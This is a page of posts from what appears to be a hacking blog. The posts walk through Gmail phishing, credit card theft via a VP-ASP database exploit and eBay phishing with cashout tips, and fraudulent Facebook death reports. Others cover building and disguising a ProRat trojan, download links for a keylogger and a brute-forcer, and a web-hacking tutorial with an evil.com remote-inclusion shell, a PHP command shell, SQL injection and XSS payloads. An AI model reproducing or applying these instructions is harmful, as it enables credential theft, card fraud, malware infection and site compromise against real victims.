Showing posts with label web hack. Show all posts
Showing posts with label web hack. Show all posts
08:52

How to hack gmail password | account easily




After a long time, Today i am posting a hacking trick that is related to gmail.Tric Plz Dont Misuse  This trick..This is For Educational Purpous Only..Almost all people who use internet have account on gmail and it is important for every one. So here i am using phising technique for hacking. Trick is simple and i have a easy way to do it.
  
How to hack gmail account password:
1. First of all download Gmail Phisher
2. The downloaded file contains:
gmail.html
log.txt
mail.php
3. Upload all of the files to any free webhosting site like:
www.drivehq.com
www.t35.com
www.yourfreehosting.net
www.esmartstart.com
www.110mb.com
4. Once you have uploaded the files in the directory, send this phisher link (gmail.html) i.e: “http://nameofyoursite.com/gmail.html” to your victim and make him login to his Gmail account using your sent Phisher.
5. Once he logs in to his Gmail account using Phisher, all his typed Gmail id and password is stored in “log.txt”.
6. Now, open log.txt to get hacked Gmail id and password as shown.
That’s it, very simple. Now you have your victim’s Gmail id and password hacked.
How it Works?
When a user types a Username and Password in the the text box,The info is sent to “login.php” which acts as a password logger and redirects the page to “LoginFrame2.htm” which shows “There has been a temporary error Please Try Again” in it . So when the person clicks on try again it redirects to the actual URL so that the victim does not know that yoursite is a fake site and gets his gmail.com password hacked.

08:14

How to Hack a Credit Card


Hi there. This is my first serious "black hat hacking" post of credit cards hacking. Here will be explained all methods used to hack credit cards andbank accounts with lots of $$ it. Now I'm sure most of you think that this is fake or scam, but i want to just tell u this is real and the only working method (in my opinion) to hack a credit card and make your wish come true (lol, hope it doesn't sound like a commercial).


This tutorial is divided in two parts.
  1. Introduction into Credit Cards
  2. Credit card Hacking

Note: Hacking credit cards is an illegal act, this is only informational post and I am not responsible for any actions done by you after reading this tutorial. This post is for educational purposes only.

Lets start with some easy terms.

What is credit card ?

Credit cards are of two types:
  • Debit Card
  • Credit Card
1. Debit means u have a sum of amount in it and u can use them.
2. Credit means u have a credit line limit like of $10000 and u can use them and by the end of month pay it to bank.

To use a credit card on internet u just not need cc number and expiry but u need many info like :
  • First name
  • Last name
  • Address
  • City
  • State
  • Zip
  • Country
  • Phone
  • CC number
  • Expiry
  • CVV2 ( this is 3digit security code on backside after signature panel )
If you get that info you can use that to buy any thing on internet, like software license, porn site membership, proxy membership, or any thing (online services usually, like webhosting, domains).

If u want to make money $ through hacking then you need to be very lucky... you need to have a exact bank and bin to cash that credit card through ATM machines.

Let me explain how ?

First study some simple terms.

BINS = first 6 digit of every credit card is called " BIN " (for example cc number is : 4121638430101157 then its bin is " 412163 "), i hope this is easy to understand.

Now the question is how to make money through credit cards. Its strange..., well you cant do that, but there is specific persons in world who can do that. They call them selves " cashiers ". You can take some time to find a reliable cashiers.

Now the question is every bank credit cards are cashable and every bin is cashable? Like citibank, bank of america , mbna .. are all banks are cashables ? Well answer is " NO ". If u know some thing, a little thing about banking system, have u ever heard what is ATM machines? Where u withdraw ur cash by putting ur card in.
Every bank don't have ATM, every bank don't support ATM machinescashout. Only few banks support with their few bins (as u know bin is first 6 digit of any credit / debit card number), for suppose bank of america. That bank not have only 1 bin, that bank is assigned like, 412345 412370 are ur bins u can make credit cards on them. So bank divide the country citi location wise, like from 412345 - 412360 is for americans, after that for outsiders and like this. I hope u understand. So all bins of the same bank are even not cashable, like for suppose they support ATM in New York and not in California, so like the bins of California of same bank will be uncashable. So always make sure that the bins and banks are 100% cashable in market by many cashiers.

Be sure cashiers are legit, because many cashiers r there which take your credit card and rip u off and don't send your 50% share back.
You can also find some cashiers on mIRC *( /server irc.unixirc.net:6667 ) channel : #cashout, #ccpower

Well, check the website where u have list of bins and banks mostly 101% cashable. If u get the credit card of the same bank with same bin, then u can cashout otherwise not . Remember for using credit card on internet u don't need PIN ( 4 words password which u enter in ATM Machine ), but for cashout u need. You can get pins only by 2nd method of hacking which i still not post but i will. First method of sql injection and shopadmin hacking don't provide with pins, it only give cc numb cvv2 and other info which usually need for shopping not for cashing.

Credit Card Hacking

CC (Credit Cards) can be hacked by two ways:
  • Credit Card Scams ( usually used for earning money , some times for shopping )
  • Credit Card Shopadmin Hacking ( just for fun, knowledge, shopping on internet )
1. Shopadmin Hacking 

This method is used for testing the knowledge or for getting the credit card for shopping on internet, or for fun, or any way but not for cashing ( because this method don't give PIN - 4 digit passcode ) only gives cc numb , cvv2 and other basic info.

Shopadmins are of different companies, like: VP-ASP , X CART, etc. This tutorial is for hacking VP-ASP SHOP.

I hope u seen whenever u try to buy some thing on internet with cc, they show u a well programmed form, very secure. They are carts, like vp-asp xcarts. Specific sites are not hacked, but carts are hacked.

Below I'm posting tutorial to hack VP ASP cart. Now every site which use that cart can be hacked, and through their *mdb file u can get their clients 'credit card details', and also login name and password of their admin area, and all other info of clients and comapny secrets.

Lets start:

Type: VP-ASP Shopping Cart
Version: 5.00

How to find VP-ASP 5.00 sites?

Finding VP-ASP 5.00 sites is so simple...

1. Go to google.com and type: VP-ASP Shopping Cart 5.00
2. You will find many websites with VP-ASP 5.00 cart software installed

Now let's go to the exploit..

The page will be like this: ****://***.victim.com/shop/shopdisplaycategories.asp
The exploit is: diag_dbtest.asp
Now you need to do this: ****://***.victim.com/shop/diag_dbtest.asp

A page will appear contain those:
  • xDatabase
  • shopping140
  • xDblocation
  • resx
  • xdatabasetypexEmailxEmail NamexEmailSubjectxEmailSy stemxEmailTypexOrdernumbe r
Example:

The most important thing here is xDatabase
xDatabase: shopping140

Ok, now the URL will be like this: ****://***.victim.com/shop/shopping140.mdb

If you didn't download the Database, try this while there is dblocation:
xDblocation
resx
the url will be: ****://***.victim.com/shop/resx/shopping140.mdb

If u see the error message you have to try this :
****://***.victim.com/shop/shopping500.mdb

Download the mdb file and you should be able to open it with any mdb file viewer, you should be able to find one at download.com, or use MS Office Access.
Inside you should be able to find credit card information, and you should even be able to find the admin username and password for the website.

The admin login page is usually located here: ****://***.victim.com/shop/shopadmin.asp

If you cannot find the admin username and password in the mdb file or you can but it is incorrect, or you cannot find the mdb file at all, then try to find the admin login page and enter the default passwords which are:
Username: admin
password: admin
OR
Username: vpasp
password: vpasp


2. Hacking Through Scams

This method is usually used to hack for earning money. What happens in this method is you create a clone page.

Target: its basically eBay.com or paypal.com for general credit cards, or if u want to target any specific cashable bank like regionbank.com then u have to create a clone page for that bank.

What is eBay.com?

Its a shopping site world wide which is used by many of billion people which use their credit cards on ebay. What you do make a similar page same as eBay and upload it on some hosting which don't have any law restrictions, try to find hosting in Europe they will make your scam up for long time, and email the users of eBay.

How to get the emails of their users?

Go to google.com and type "Email Harvestor" or any Email Spider and search for eBay Buyers and eBay Sellers and u will get long list. That list is not accurate but out of 1000 atleast 1 email would be valid. Atleast you will get some time.

Well u create a clone page of ebay, and mail the list u create from spider with message, like "Your account has been hacked" or any reason that looks professional, and ask them to visit the link below and enter your info billing, and the scam page have programming when they enter their info it comes directly to your email.
In the form page u have PIN required so u also get the PIN number through which u can cash through ATM ..

Now if u run ebay scam or paypal scam, its up to your luck who's your victim. A client of bank of america or of citibank or of region, its about luck, maybe u get cashable, may be u don't its just luck, nothing else.

Search on google to download a scam site and study it !

After you create your scam site, just find some email harvestor or spider from internet (download good one at Bulk Email Software Superstore - Email Marketing Internet Advertising) and create a good email list.

And you need to find a mailer (mass sending mailer) which send mass - emails to all emails with the message of updating their account on ur scam page ). In from to, use email eBay@reply3.ebay.com and in subject use :eBay - Update Your eBay Account and in Name use eBay

Some Instructions:

1. Make sure your hosting remains up or the link in the email u will send, and when your victim emails visit it, it will show page cannot be displayed, and your plan will be failed.
2. Hardest point is to find hosting which remains up in scam. even i don't find it easily, its very very hard part.
3. Maybe u have contacts with someone who own hosting company and co locations or dedicated he can hide your scam in some of dedicated without restrictions.
4. Finding a good email list (good means = actually users)
5. Your mass mailing software land the emails in inbox of users.


That's all folks. Hope you will find this tutorial useful. And remember, hacking credit cards is an illegal act, this is only informational post and I am not responsible for any actions done by you after reading this tutorial.

23:01

Close FaceBook account(s)


Just Follow the steps:
Step 1 - Go to this url:
http://www.facebook.com/help/contact.php?show_form=deceased

So this is the Url we will use to Report our slave. This Form allows you to report a deceased person (someone who is dead).

Step 2 - Complete the Fields:

Explain:
Full Name: Your Victims Full name(Name last name)
Date of birth: Go at his profile and click at Info tab and get his date of birth.
Account Email Addresses: Do the same thing, go to his profile and click on info tab and get his email addresses.
Networks: Again,go to his profile and click on Info tab and get his networks, copy them and paste in the form.
Web address of profile you would like to report: Just go to his profile and copy the link in the address bar.
Relationship to this person: To make more believable select Immediate Family.
Requested Action: Remove Profile
Proof Of Death: This is the hardest part of this form. Now to make a proof of a death just Google in your language a "Death Certificate" or "Certificate of a Death". It doesn't matters from what country you are, just use this Italian certificate and open up photoshop or whatever Image
Editor and just write in a blank field:
Annunciamo il morte di [name goes here]. Save your image to desktop and upload it in one of the Image
Free Hosting like: http://imageshack.us 
And it's done Wink... Italian Death Certificate:
Additional Information: Write what you want, just write that you are in his/her family and you would like to close his/her Facebook account because you won't like that when he is dead, his Facebook is opened.

Step 3 - Click on Submit and then a message will appear:
Your injury was submitted at Facebook Team .. So the meaning is that one of the mod's of Facebook will review your report and will do the right decision. It works in most of the times. I closed a few ones.

It took me 1 hour to make this guide.
It took me 1 minute to make the thread.
I am using my spare time to share this with you and others.
It will take you 20 seconds to say thank you.

23:00

How to Hack E-Mail Account Password - Email Hacking Software


How to Hack Email Account Passwords Using ProRat?

1. First of all Download ProRat. Once it is downloaded right click on the folder and choose to extract it. A password prompt will come up. The password will be "pro".

2. Open up the program. You should see the following:


. Next we will create the ProRat Trojan server. Click on the "Create" button in the bottom. Choose "Create ProRat Server".
[imghttp://3.bp.blogspot.com/_F7GuXCzPQdY/S_apc5p7WfI/AAAAAAAAEAo/Fi-7YtFp-SE/s1600/prorat2.png]http://[/img]

4. Next put in your IP address so the server could connect to you. If you donâۉ„¢t know your IP address click on the little arrow to have it filled in for you automatically. Next put in your e-mail so that when and if a victim gets infected it will send you a message. We will not be using the rest of the options.


5. Now Open General settings. This tab is the most important tab. In the check boxes, we will choose the server port the program will connect through, the password you will be asked to enter when the victim is infected and you wish to connect with them, and the victim name. As you can see ProRat has the ability to disable the windows firewall and hide itself from being displayed in the task manager.

Here is a quick overview of what they mean and which should be checked:


6. Click on the Bind with File button to continue. Here you will have the option to bind the trojan server file with another file. Remember a trojan can only be executed if a human runs it. So by binding it with a legitimate file like a text document or a game, the chances of someone clicking it go up. Check the bind option and select a file to bind it to. A good suggestion is a picture or an ordinary text document because that is a small file and its easier to send to the people you need.


. Click on the Server Extensions button to continue. Here you choose what kind of server file to generate. I prefer using .exe files, because it is cryptable and has icon support, but exeâۉ„¢s looks suspicious so it would be smart to change it.




8. Click on Server Icon to continue. Here you will choose an icon for your server file to have. The icons help mask what the file actually is. For my example I will choose the regular text document icon since my file is a text document.


9. After this, press Create server, your server will be in the same folder as ProRat. A new file with name "binded_server" will be created. Rename this file to something describing the picture. A hacker could also put it up as a torrent pretending it is something else, like the latest game that just came out so he could get people to download it.

Very important: Do not open the "binded_server" file on your system.

10. You can send this trojan server via email, pendrive or if you have physical access to the system, go and run the file. You can not send this file via email as "server.exe", because it will be detected as trojan or virus. Password protect this file with ZIP and then email it. Once your victim download this ZIP file, ask him to unlock it using ZIP password. When the victim will double click on the file, he will be in your control.

11. Now, I will show you what happens when a victim installs the server onto his computer and what the hacker could do next.

Once the victim runs the server on his computer, the trojan will be installed onto his computer in the background. The hacker would then get a message telling him that the victim was infected. He would then connect to his computer by typing in his IP address, port and clicking Connect. He will be asked for the password that he made when he created the server. Once he types it in, he will be connected to the victims computer and have full control over it.


12. Now the hacker has a lot of options to choose from as you can see on the right. He has access to all victim's computer files, he can shut down his pc, get all the saved passwords off his computer, send a message to his computer, format his whole hard drive, take a screen shot of his computer, and so much more. Below Iâۉ„¢ll show you a few examples.


13. The image below shows the message that the victim would get on his screen if the hacker chose to message him.


14. Below is an image of the victims task bar after the hacker clicks on Hide Start Button.


15. Below is an image of what the hacker would see if he chose to take a screen shot of the victims screen.



As you saw in the above example, a hacker can do a lot of silly things or a lot of damage to the victim. ProRat is a very well known trojan so if the victim has an anti-virus program installed he most likely wonâۉ„¢t get infected. Many skilled hackers can program their own viruses and Trojans that can easily bypass anti-virus programs.

Do you have questions, comments, or suggestions? Feel free to post a comment!
I hope i will help you all...enjoy...

22:52

Hack Facebook/Myspace/Orkut Or Any Email


 Hack Facebook/Myspace/Orkut Or Any Email

    How To Hack Facebook/Myspace/Orkut Or Any Email By Keylogging
    Fud Long Time

    Rapzo Logger v 1.5 ( Public Edition )By Rapid



Stealers [6] All Stealers Pure Code - No Drops + Runtime FUD

  • Firefox 3.5.0-3.6.X
  • DynDns
  • FileZilla
  • Pidgin
  • Imvu
  • No-Ip

Features [25]

* Full UAC Bypass & Faster Execution
* Coded in Vb.NET
* Min Req Is .net 2.0 Now A days every pc Have it
* Cool & user friendly GUI
* Easily Understandble
* Encrypt Information
* Encrypt E-mail information
* 100% FUD from all AV's
* 4 Extentions [ . exe | .scr | .pif | .com ]
* Keylogger support - Smtp[Gmail,Hotmail,live,aol,]
* Test E-mail - is it vaild or not.
* Customize the "To" e-mail address.
* Screen Logger
* Cure.exe to remove server from your Compute
* Usb Spreade
* File pumper - Built-in
* Icon Changer - Preview
* Logs are nice and clear
* Log Letters - ABCD etc.
* Log Symbols - !@#$% etc.
* Log Numbers - 12345 etc.
* Log specific key's - [F4][F5][TAB][HOME][Pg Dn][Pause Break][Prtsc SysRq].. Etc.
* Hidden really good & invisible
* Send new logs over and over again
* ReadMe.txt - How To Use
* Vedio Tutorial - How To Use
Working on all Windows Operating System's - [Winxp\vista\W7] --- [32 + 64 ] Bit Computers


Steler Logs :



Download LinkS :

Code:
http://www.mediafire.com/?belchwxdl6z2xl9

Code:
http://www.megaupload.com/?d=IFRRHPBX

Code:
http://rapidshare.com/files/418946168/Ra...tion__.rar

Code:
http://akenload.com/download/141/RapZo_L..._.rar.html

22:49

Email Password Cracker (Bruteforce)




With this programm you can crack emai password ( if they are im bruteforce list )

if you need any help just reply

Scan:

File Info

Report date: 2011-03-14 23:51:53 (GMT 1)
File name: reiluke_mailbruteforcer-exe
File size: 1039024 bytes
MD5 Hash: 7fc516f265e337e14e91f23c461a8704
SHA1 Hash: 68b56bb5230db176ac18a20d18a19567dd063ae3
Detection rate: 0 on 9 (0%)
Status: CLEAN

Detections

Avast -
AVG -
ClamAV -
Comodo -
Emsisoft -
F-Prot -
Ikarus -
TrendMicro -
Zoner -

Scan report generated by
NoVirusThanks.org

Download

Code:

http://adf.ly/246619/http://www.multiupload.com/8851562RH4

22:46

how to Access Any Website Or Forum Without Registering


All websites and forums will block unregistered users, but they won’t block Google Bot.
What we will do is to switch our User Agent to that of Google Bot and freely browse any
 website or forum without registering.




First grab the add-on for Firefox called ‘user agent’ here and install it. Now go to Tools > User Agent Switcher > Options and then again to Options.


Select User Agent from the left sidebar and click Add. Now in the description field type:

crawl-66-249-66-1.googlebot.com

and in user agent field type:

Googlebot/2.1 (+http://www.googlebot.com/bot.html)

as shown in the screenshot below.


Select Google Bot as your User Script by going to Tools > User Agent Switcher.



Now browse any website or forum without registering.

Hpoe you like my tut...thanks.


22:42

Facebook Friend Bomber 2.0.1


1. Mass Facebook Amber Alerts (New)
2. Mass Facebook Friend Requests
3. Mass Facebook Friend Messages
4. Mass Facebook Friend Pokes
5. Mass Facebook Wall Poster

6. 100% CAPTCHA Bypass*
7. Single & Unlimited Licenses

Download: Facebook Friend Bomber 2.0.1

AM NOT RESPONSIBLE IF ANYTHING GOES WRONG

22:41

RapidHack 4.5 Immortality Edition


RapidHack v4.5 Immortality Edition can h@ck / cr@ck / bypass waiting limit at Rapidshare.com and Rapidshare.de Just copy-paste the Rapidshare link and get unlimited downloads.

What's new in v4.5:
- Changed the way the Browser functions
- Changed the way Integrity checking works
- Added new integrity checking check points
- Added new client information in the Help section
- Repaired ripv5.php because Samair.ru patched the old version
- Included Flash "SWF" extension blocking, in case I go "Live" - They are registry entries
- Fixed invalid Homepage url in Websites console
- Fixed Runtime Error 5 in Refresh procedure
- Fixed Colon bug, so you now not need the Patch as with v4.2
- Client will Crash if lastline is selected in spoofer property, and I won't fix it.
- Made Custom CGI script modification [Host it yourself] in the CGI spoofer
- Removed AOL statistic options due to AOL terminating Hometown.aol.com
- Wrote how the Proxy Dead or Alive requests pings, so only lives for 4 requests.

DOWNLOAD:
Code:
http://rapidshare.com/files/260713035/R_H_v4.5__Immortality_Edition_.rar

MIRROR
Code:
http://www.megaupload.com/?d=5BDHGMU0

22:37

web hacking basics


Things to know:

=- Vulnerability : a security hole, can be exploited to change the way the webapp / software works / functions.

=- CMS's, Forums uses DataBases to store the info like users, posts, threads, messages and so on, its usually / mostly a MySQL server.

=- RFI [ Remote File Inclusion ] : a malicious user can include a 'bad' code to be executed on the vulnerable site.

=- LFI [ Local File Inclusion ] : a malicious user can open any file on the server.

=- SQL Injection : Injecting a MySQL query to bypass or get more info from a DataBase.

=- XSS [ Cross Site Scripting ] : if it was a permanent vulnerability, where the users input is saved, the user can log cookies, IP, and much more...

=- Exploit : a script made to maliciously use a vulnerability.
+------------------------------------------+
|
| || What goes wrong ||
|
+------------------------------------------+
We are going to take each vulnerability, and take alook at what goes wrong with the web developer, that made the script vulnerable...

=- RFI ::

RFI's are exploited by including a 'bad' code from another site, to the infected site, for example you can include a PHP-Shell, and execute command on the server using it...

this vulnerability is very dangerous, a site infected with it can be compromised easily...

an example of a code infected with a RFI:
Code:
<?php

$page 
= $_GET['page'];

if (isset(
$page))
{
include(
$page);
}
 
?>

as you can see, we are taking the variable page, and including it, now that script will work great and do what it's supposed to do, for example:

www.example.com/index.dmz?page=contact.dmz

this would open contact.dmz, BUT, what would a malicious user do?

http://www.example.com/index.dmz?pag...com/shell.txt?

the shell code must be in a txt file, because this way the code will be parsed / executed on the vulnerable site.

what happens then?
Code:
<?php

$page 
= $_GET['page'];

if (isset(
$page))
{
include(
'http://www.evil.com/shell.txt?');
}
 
?>

that text file gets included, so lets say the shell.txt had the following code:
Code:
<?php

$command 
= $_GET['cmd'];

if (
$command)
{
@
system($command);
}
echo 
"
<form method='GET'>
<input type='text' name='cmd'>
<input type='submit' name='submit' value='Go!'>
</form>"
;
 
?>

a small text box would appear on the page, with a button, that would execute commands... the user can compromise the full site using this simple text box, if he had enough privs, he can do the following:

rm -rf

and delete your files...

some devs, think they can fix the vulnerability by doing the following:
Code:
<?php

$page 
= $_GET['page']; $page = $page . ".php";

if (isset(
$page))
{
include(
$page);
}
 
?>

this way, you can only include .php files, and that is not really a big deal cause PHP gets parsed on the server side...

but, that wont stop some people, there is something called a NullByte, that would simply tell PHP to ignore anything after it... if someone wanted to exploit that code, he would do:

http://www.darkmindz.com/index.dmz?p.../shell.txt?

as you can see, the [ ] is the NullByte, that would get parsed this way:
Code:
<?php

$page 
= $_GET['page']; $page = $page . ".php";

if (isset(
$page))
{
include(
'http://www.evil.com/shell.txt?'); // ignoring anything after the NullByte, which is in this case, the .php... }
 
?>

so the question now, is how to completely secure this URL system?!

well, you can use a switch statement, and this way, anything other than what is already stated, wont be included.. ex:
Code:
<?php
 
if(isset($_REQUEST['page']))
{
switch (
$_REQUEST['page']) {

case 
'about':
include(
'about.php'); // if the page was about, get the about.php contents... break;

case 
'contact':
include(
'contact.php'); // and so on :) break;

default:
include(
'index.php'); // the default page to include, if the page variable was not found, or it was a hack attempt :) break;

}

}

 
?>

that is a perfect system, simple, secure, and works

now that is done, RFI, is just like LFI, nothing is different, but the fact that LFI only gets the pages from the server, most of the times download scripts are infected with LFI, cause they are made to readfile(); whatever it was lol.. which is just bad coding...



Now moving to SQL injections, those are deadly when E-Commerce sites are infected with them!!

a malicious user would exploit an infected code, by bypassing a login form, and logging in as admin.

or by injecting the URL so he can execute MySQL query's, which would let him gain access to Users info, and so on ...

example of vulnerable code:
Code:
<?php

$host 
= "localhost"; $user = "root"; $pass = "r00t"; $db = "banks";
 
mysql_connect($host, $user, $pass); mysql_select_db($db);
 
$id = $_GET['id'];

if (isset(
$id))
{ 
$query = mysql_query("SELECT * FROM `news` WHERE `id` = $id");
if (
$query)
{
while(
$news = mysql_fetch_array($query))
{
echo 
$news['news'];
}
}
}
 
?>

now, as you can see, it takes the 'id' variable, and query's it, with no filters at all!!!

now if i wanted to inject it, i would first check for the vulnerability.... by doing the following:

www.example.com/page.php?id=1 OR 2

IF 2 news was there, then am lucky , and here comes the good part, where the information gets extracted, using a UNION command, i can select from another column, and echo it there...

so an injection would be:

www.example.com/page.php?id=1 OR 2 UNION SELECT name,1,password,email FROM users

this would echo the passwords, to the page. now depending on the number of rows in the news column, i will need to change the number of rows selected...

so now we know what went wrong, lets secure it!!
Code:
<?php

$host 
= "localhost"; $user = "root"; $pass = "r00t"; $db = "banks";

@
mysql_connect($host, $user, $pass); // adding the @ sign will make it error free, no errors is shown if the DB couldnt be selected or connection
 
refused @mysql_select_db($db);
 
$id = (Int) $_GET['id']; // now we are telling PHP that id is an Integer, do not process anything else.. ;)

 
if (isset($id))
{ 
$query = mysql_query("SELECT * FROM `news` WHERE `id` = $id");
if (
$query)
{
while(
$news = mysql_fetch_array($query))
{
echo 
$news['news'];
}
}
} 
?>

that is it, this code is secure...

now moving to XSS, it is not really a big issue UNLESS it was permanent!

example of permanent XSS would be in a guestbook, comments, contact forms, mailing lists, etc...

what can the malicious user do?

well, he can use a javascript to change title, forms, prices, hidden data, pages, actions, and even worse, log the page!
some CMS's and Forums, uses cookies and store the users info in them, if that site was vulnerable to XSS, the attacker can gain admin privs by logging the admin cookies...

a vulnerable code would be:
Code:
<?php

$message 
= $_POST['message'];

if (isset(
$_POST['message']))
{

echo 
"Thank you, your message has been posted!";

echo 
"<br />";

echo 
$message;
}

echo 
"
<form method='post' name='message_box'>
<input type='text' name='message'>
<input type='submit' name='submit'>
</form>"
;
 
?>

ok, so now a malicious user could do the following:

submit the following text to test for vulnerability :
Code:
<script>alert("xss")</script>
or
Code:
<h1>Nice Website!</h1>

IF the HTML gets parsed "and it will in this code" , the attacker will now move to the next step, which is logging the page.. by redirecting it to a logger..

some methods of bypassing some filters, for example, if the form only submits links, lets take this one as an example:
Code:
<?php

$message 
= $_POST['message'];

if (isset(
$_POST['message']))
{

echo 
"Thank you, your link has been added!";

echo 
"<br />";

echo 
"<a href='$message'>Link</a>";;
}

echo 
"
<form method='post' name='message_box'>
<input type='text' name='message'>
<input type='submit' name='submit'>
</form>"
;
 
?>

now that should not parse anything, but simply wrap it in a link right?

well, i don't think so, you can simply bypass it using:
Code:
'> <script>alert("owned")</script>

why does that bypass it?!

here is what happens, the
Code:
'>

will stop the a tag, and then you can open anything else...

here is the result:
Code:
<a href=''> <script>alert("owned")</script>'>Link</a>
as you can see, the a tag got closed, which allowed me to open another tag, which is a script here. and it works

--cheers --